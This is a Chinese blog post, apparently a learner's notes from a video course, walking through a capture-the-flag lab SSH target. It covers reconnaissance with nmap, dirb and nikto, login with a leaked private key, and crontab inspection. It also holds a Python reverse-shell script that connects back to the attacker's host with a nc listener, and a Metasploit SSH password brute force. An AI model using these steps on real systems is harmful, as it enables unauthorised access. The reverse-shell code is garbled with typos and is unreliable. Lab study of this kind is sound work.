获取FLAG值
一、SSH服务器
1.如何从外部进入最终root主机,获得flag值
SSH:建立在应用层基础上的协议
SSH是目前较可靠,专门远程登录会话和其他网络服务提供安全性的
协议。利用SSH协议可以有效防止远程管理过程中的信息泄露问题
2.SSH基于TCP 22端口的服务
3.SSH协议认证机制
(1)基于口令的安全验证
(2)基于密钥的安全验证
注:id_rsa:私钥 id_rsa.pub:公钥
二、实验环境
1.攻击机:192.168.1.105
2.靶机机器:192.168.1.106
三、开始行动
1.信息探测
(1)nmap -sV 靶场IP地址(探测靶场开放的服务于服务的版本)
(2)nmap -A -v 靶场IP地址(探测靶机的全部信息)
(3)nmap -O 靶场IP地址(探测靶场的操作系统类型和版本)
在这里插入图片描述在这里插入图片描述
2.分析探测结果
对于SSH服务的22端口的靶场
首先考虑: (1)暴力破解 (2)私钥泄露
对于开放http服务的80端口或者其他端口的靶场
首先考虑:
(1)通过浏览器访问对应的靶场http服务
http://靶场ip地址:http服务器口
(2)使用探测工具对http的目录进行探测
Dirb http://靶场ip地址:http服务端口
特别注意: 特殊端口 (大于1024的端口)
3.挖掘敏感信息
(1)使用浏览器对靶场IP额http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息,递归访问
(2)尤其对robots.txt以及一些目录进行访问,挖掘具备利用价值的信息
4.对靶场进行探测

5.使用nikto扫描器也可以挖掘敏感信息
命令:nikto -host 靶场IP地址
注:特别注意config等特殊敏感信息文件、要细读扫描的结果,挖掘可以利用的敏感信息
6.利用敏感、弱点信息
(1)对挖掘到的SSH密钥进行利用
修改id_rsa的权限:chmod 600 id/-rsa
(2)利用私钥登陆服务器
Ssh -i id_ras 用户名@靶场ip地址
注:如果id_rsa没有解密密码,可以直接使用。但如果id_rsa有解密密码,那么就要进行对应的破解。
在这里插入图片描述
7.登陆服务器之后
(1)查看当前用户whoami
(2)id 查看当前用户权限
(3)查看根目录 寻找flag文件
8.如果是root权限,表明被全部拿下
一般情况下:flag文件只属于root用户和对应的用户组
Cat /etc/passwd 查看所有用户的列表
Cat /etc/group 查看用户组
Find /-User 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件目录
9.深入挖掘
(1)通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要root 权限
(2)cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容
在这里插入图片描述
10.反弹shell
靶场代码
#/usr/bin/python
import os,subprocess,socket
s=socket.socekt(socket.AF_ JINET,socket.SOCK_ STREAM)
s.connect((“攻击机IP地址”,“攻击机监听端口”))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocscall([*/bin/sh”-")
11.nc -lvp 4445:监听端口
查看占用端口 netstat -pantu
12.深入挖掘
目标:寻找可以root靶场机器的方式
Su -root
查看用户 whoami
查看对应的权限 id
13.背水一战
在这里插入图片描述
14.使用metasploit破解SSH
在终端输入
Msfconsole
–msfsf >use: axiliary/scanner/ssh/ssh_ login
– msf auxiliary(ssh_ login) > set rhosts 192.168.1.137
–msf auxiliary(ssh_ login) > set username hadi
–msf auxiliary(ssh_ login) > set pass_ file hadi.txt
– msf auxiliarylssh_ login) > run
在这里插入图片描述
在这里插入图片描述
使用用户名及破解密码登录
在这里插入图片描述
最终获得root 权限,获取FLAG值

以上是自己看视频学习所做的总结,希望能给大家一点帮助!!!

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐